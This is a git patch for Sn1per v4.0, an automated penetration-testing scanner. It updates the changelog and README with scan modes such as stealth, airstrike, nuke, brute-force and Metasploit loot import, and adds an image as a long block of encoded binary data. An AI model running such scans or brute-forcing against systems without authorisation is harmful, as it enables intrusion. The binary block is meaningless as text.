From ca38599bb636104f7b105f9193b047d44293f995 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 5 Mar 2018 19:26:57 -0700 Subject: [PATCH] Sn1per by 1N3@CrowdShield --- CHANGELOG.md | 8 + README.md | 75 ++- Sn1per.jpg | Bin 0 -> 131523 bytes bin/pyText2pdf.py | 601 +++++++++++++++++++++++ install.sh | 7 +- sniper | 1197 +++++++++++++++++++++++++-------------------- 6 files changed, 1336 insertions(+), 552 deletions(-) create mode 100644 Sn1per.jpg create mode 100644 bin/pyText2pdf.py diff --git a/CHANGELOG.md b/CHANGELOG.md index a16ee25..e7be2ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,12 @@ ## CHANGELOG: +* v4.0 - Added new command switch options for all sniper scans (see --help for details) +* v4.0 - Added HTML formatted report for all workspaces to display screenshots, headers, reports and open ports +* v4.0 - Added optional scan options such as --recon, --osint, --fullportonly --bruteforce, etc. to selectively enable scan modules. (see --help for details) +* v4.0 - Improved Yasou scan options to include existing NMap XML files +* v4.0 - Added automatic HTML/TXT/PDF reporting for all scans by default +* v4.0 - Updated default workspace directory to store all loot files by $TARGET name or $WORKSPACE alias +* v4.0 - Added screenshot and header retrieval to loot storage +* v4.0 - Updated NMAP SMB enum script * v3.0 - Improved performance of various sniper modes * v3.0 - Added Aquatone domain flyover tool * v3.0 - Added slurp S3 public AWS scanner diff --git a/README.md b/README.md index d37ea22..25e8c94 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,10 @@ -![alt tag](https://github.com/1N3/Sn1per/blob/master/sn1per-logo.png) +![alt tag](https://github.com/1N3/Sn1per/blob/master/Sn1per.jpg) ## ABOUT: Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. ## DEMO VIDEO: -[![Sn1per Demo](https://img.youtube.com/vi/nA_V_u3QZA4/0.jpg)](https://www.youtube.com/watch?v=nA_V_u3QZA4) +[![demo](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm.png)](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm?autoplay=1) ## FEATURES: - [x] Automatically collects basic recon (ie. whois, ping, DNS, etc.) @@ -54,35 +54,68 @@ $ docker run --rm -ti menzo/sn1per-docker sniper menzo.io ## USAGE: ``` -sniper -sniper stealth -sniper discover -sniper port -sniper fullportonly -sniper web -sniper webporthttp -sniper webporthttps -sniper nobrute -sniper airstrike -sniper nuke -sniper loot -sniper update +[*] NORMAL MODE +sniper -t|--target + +[*] NORMAL MODE + OSINT + RECON +sniper -t|--target -o|--osint -re|--recon + +[*] STEALTH MODE + OSINT + RECON +sniper -t|--target -m|--mode stealth -o|--osint -re|--recon + +[*] DISCOVER MODE +sniper -t|--target -m|--mode discover -w|--workspace + +[*] SCAN ONLY SPECIFIC PORT +sniper -t|--target -m port -p|--port + +[*] FULLPORTONLY SCAN MODE +sniper -t|--target -fp|--fullportonly + +[*] PORT SCAN MODE +sniper -t|--target -m|--mode port -p|--port + +[*] WEB MODE - PORT 80 + 443 ONLY! +sniper -t|--target -m|--mode web + +[*] HTTP WEB PORT MODE +sniper -t|--target -m|--mode webporthttp -p|--port + +[*] HTTPS WEB PORT MODE +sniper -t|--target -m|--mode webporthttps -p|--port + +[*] ENABLE BRUTEFORCE +sniper -t|--target -b|--bruteforce + +[*] AIRSTRIKE MODE +sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike + +[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED +sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace + +[*] ENABLE LOOT IMPORTING INTO METASPLOIT +sniper -t|--target + +[*] LOOT REIMPORT FUNCTION +sniper -w --reimport + +[*] UPDATE SNIPER +sniper -u|--update ``` ### MODES: -* **REPORT:** Outputs all results to text in the loot directory for later reference. To enable reporting, append 'report' to any sniper mode or command. -* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking +* **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. +* **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. +* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. +* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML. * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port. * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port. -* **NOBRUTE:** Launches a full scan against a target host/domain without brute forcing services. -* **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IP's that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. -* **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. -* **LOOT:** Automatically organizes and displays loot folder in your browser and opens Metasploit Pro and Zenmap GUI with all port scan results. To run, type 'sniper loot'. * **UPDATE:** Checks for updates and upgrades all components used by sniper. +* **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports. ## SAMPLE REPORT: https://gist.github.com/1N3/8214ec2da2c91691bcbc diff --git a/Sn1per.jpg b/Sn1per.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1040825a7a06e2985f9aa230d7452d0dadb53d3a GIT binary patch literal 131523 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 